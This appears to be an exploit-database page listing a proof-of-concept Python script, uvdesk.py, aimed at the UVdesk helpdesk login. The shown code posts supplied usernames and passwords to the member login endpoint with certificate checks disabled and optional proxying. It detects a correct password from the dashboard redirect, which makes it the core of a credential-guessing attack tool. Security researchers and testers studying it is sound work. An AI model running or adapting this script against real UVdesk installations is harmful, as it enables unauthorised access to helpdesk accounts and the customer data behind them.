4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / uvdesk.py PY
import requests
import utils
import logging
import sys
from termcolor import colored,COLORS
from colorama import init

init(autoreset=True)
log = logging.getLogger(__name__)

class Uvdesk:
    def __init__(self, url, no_proxy):
        self.base_url = utils.normalize_url(url)
        self.login_url = self.base_url+"/en/member/login"
        self.no_proxy = no_proxy
        self.session = requests.Session()


    def login(self, _username, _password):
        log.info(colored("Getting login page.", "blue"))

        data = {
            "_username": _username,
            "_password": _password,
            "_remember_me":"on"
        }

        log.info(colored(f"Attempting to login with user: {_username} and password: {_password}","blue"))

        if self.no_proxy:
            resp = self.session.post(self.login_url, data=data, allow_redirects=False, verify=False)
        
        else:
            resp = self.session.post(self.login_url, data=data, proxies=utils.PROXIES, verify=False, allow_redirects=False) 

        if self.is_solved(resp):
            log.info(colored(f"Access granted with username: {_username} and password: {_password}","green"))
            sys.exit(0)
        else:
            log.warning(colored(f"Authentication failed for username: {_username} with password: {_password}","red"))


    def is_solved(self,resp):
        log.info(colored("Checking if the correct user has been identified.","blue"))
        if resp.status_code == 302 and f"{self.base_url}/en/member/dashboard" in resp.text:
            log.info(colored("Correct password found!","green"))
            return True
        else:
            return False